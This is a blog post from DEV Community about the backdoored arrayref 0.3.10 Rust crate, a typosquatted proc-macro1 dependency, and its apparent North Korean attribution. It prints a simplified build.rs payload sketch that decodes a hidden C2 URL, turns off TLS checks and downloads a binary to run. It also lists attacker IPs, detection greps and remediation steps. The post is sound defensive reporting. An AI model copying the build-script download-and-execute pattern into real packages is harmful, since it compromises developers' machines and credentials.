DEV Community

Ashraf
Ashraf

Posted on

A Crate With 245 Million Downloads Just Got Backdoored — And It's Probably North Korea

A Crate With 245 Million Downloads Just Got Backdoored — And It's Probably North Korea

On August 20, 2026, at 07:15 UTC, someone published arrayref 0.3.10 to crates.io. It stayed up for 86 minutes. In that window, anyone who ran cargo build against a project depending on arrayref may have executed a remote binary on their machine — no unsafe block, no CVE-worthy memory bug, no user interaction. Just cargo build.

If you write Rust and you're not worried yet, you should be. arrayref sits underneath winit, egui, iced, blake3, and half the Solana and Ethereum ecosystem. It has roughly 245 million lifetime downloads. This wasn't some abandoned left-pad clone — it was load-bearing infrastructure.

The attack, mechanically

This is the part every Rust engineer needs to understand, because it's not a new trick, it's an old trick wearing a new build system.

The attacker compromised the legitimate arrayref maintainer's account — the Rust team explicitly said they don't believe the maintainer acted maliciously, just that their credentials got popped. They yanked the safe older versions to funnel people toward the poisoned release, then published 0.3.10 with exactly one meaningful change to Cargo.toml:

[dependencies]
proc-macro1 = "1.0.107"
Enter fullscreen mode Exit fullscreen mode

Look closely. Not proc-macro2 — the real, ubiquitous crate half of Rust's macro ecosystem depends on. proc-macro1. A typosquat, published under a fabricated persona impersonating a well-known Rust contributor's handle.

Here's the part that makes this attack actually clever instead of just sloppy: the library code of proc-macro1 was a genuine, working copy of proc-macro2. Nothing looked wrong if you read the source. The payload didn't live in code you'd call — it lived in build.rs, which Cargo executes automatically, unconditionally, before your project even compiles:

// simplified — this is the shape of it
fn main() {
    let payload_url = decode_base64(OBFUSCATED_C2_URL);
    let client = reqwest::Client::builder()
        .danger_accept_invalid_certs(true) // TLS validation off, on purpose
        .build()
        .unwrap();
    let bin = client.get(payload_url).send().unwrap().bytes().unwrap();
    // write to disk, chmod +x, execute, drop platform-specific persistence
}
Enter fullscreen mode Exit fullscreen mode

You never call a function from proc-macro1. You never even see it in your source tree. You just need it to appear in your dependency graph, and cargo build does the rest. That's the whole attack.

Two other crates from the same compromised-account cluster went down the same way: internment 0.8.7 and append-only-vec 0.1.9. Total exposure window across all three: under two hours.

This is not a random smash-and-grab

Wiz's writeup on the C2 infrastructure connects this campaign to prior North Korean supply-chain operations attributed to Sapphire Sleet:

  • The payload beacons to a /49890878 endpoint pattern previously seen in the Mastra campaign, which Microsoft attributed to DPRK.
  • The C2 IP shares a TLS certificate issuer with known Mastra infrastructure.
  • A separate victim reported callbacks to 23.254.167[.]216 — the same address that showed up in Google's analysis of the North Korea–linked axios npm compromise.
  • All of it sits on the same 23.254.164.0/23 block from Hostwinds LLC.

Second-stage binaries were platform-aware — Linux, Windows, and macOS variants, each dropping its own persistence: systemd services, LaunchAgents, Registry Run keys. This wasn't a script kiddie testing typosquatting for the first time. This was infrastructure reuse from a group that's been doing exactly this to npm for a while and has now moved onto Cargo.

If you've been telling yourself "Rust's ecosystem is smaller and more careful than npm's, this kind of thing doesn't happen to us" — it just did, and the actor behind it has a track record.

What actually happened to you if you built during that window

Check right now. This takes thirty seconds:

# search your Cargo.lock for the poisoned versions
grep -E "arrayref-0.3.10|internment-0.8.7|append-only-vec-0.1.9|proc-macro1" Cargo.lock

# check your local registry cache for anything that slipped through
ls ~/.cargo/registry/cache/*/  | grep -E "arrayref-0.3.10|proc-macro1"
Enter fullscreen mode Exit fullscreen mode

If either comes back with hits, don't just bump the version and move on. Assume compromise:

  1. Pin to the known-good version. arrayref = "=0.3.9" in Cargo.toml, exact pin, no caret.
  2. Rotate credentials on anything that machine had access to — cloud tokens, SSH keys, npm/cargo publish tokens, especially if you also publish crates yourself. This class of attack loves to chain: pop a developer's machine, steal their publish token, poison their crate next.
  3. Check for persistence artifacts: systemd units you didn't create, LaunchAgents in ~/Library/LaunchAgents, unfamiliar Registry Run keys.
  4. Watch for egress to 23.254.165[.]112:9089, 23.254.167[.]107:443, and the broader 23.254.164.0/23 range.

The Rust Security Response Team locked the compromised account and unyanked the legitimate old versions once they confirmed the timeline. Good incident response. Doesn't undo whatever ran on machines during that 86-to-107-minute window.

The actual lesson, because "rotate your tokens" isn't new information

build.rs is arbitrary code execution with your full user permissions, and it runs on cargo build, not cargo run, not deployment, not CI approval — the moment the dependency resolves. Most engineers audit the crates they depend on directly and never think about what their dependencies' build scripts are doing, let alone what a typosquatted transitive dependency's build script is doing.

If you're serious about this, two tools actually help instead of just producing dashboards nobody reads:

# cargo-vet: requires supply-chain review before you accept new/updated deps
cargo install cargo-vet
cargo vet init

# cargo-crev: web-of-trust reviews, catches "this account just started publishing yesterday"
cargo install cargo-crev
Enter fullscreen mode Exit fullscreen mode

Neither would have stopped this attack in the first 86 minutes — nothing stops a zero-day supply chain hit that fast. But both make "a stranger's typosquat entered my dependency tree unreviewed" a lot harder to sneak past you on version 2.

npm has been getting hit with this pattern for years. Cargo just joined the club, and the group that showed up wasn't amateur hour. Audit your Cargo.lock today, not after the next one.

Top comments (0)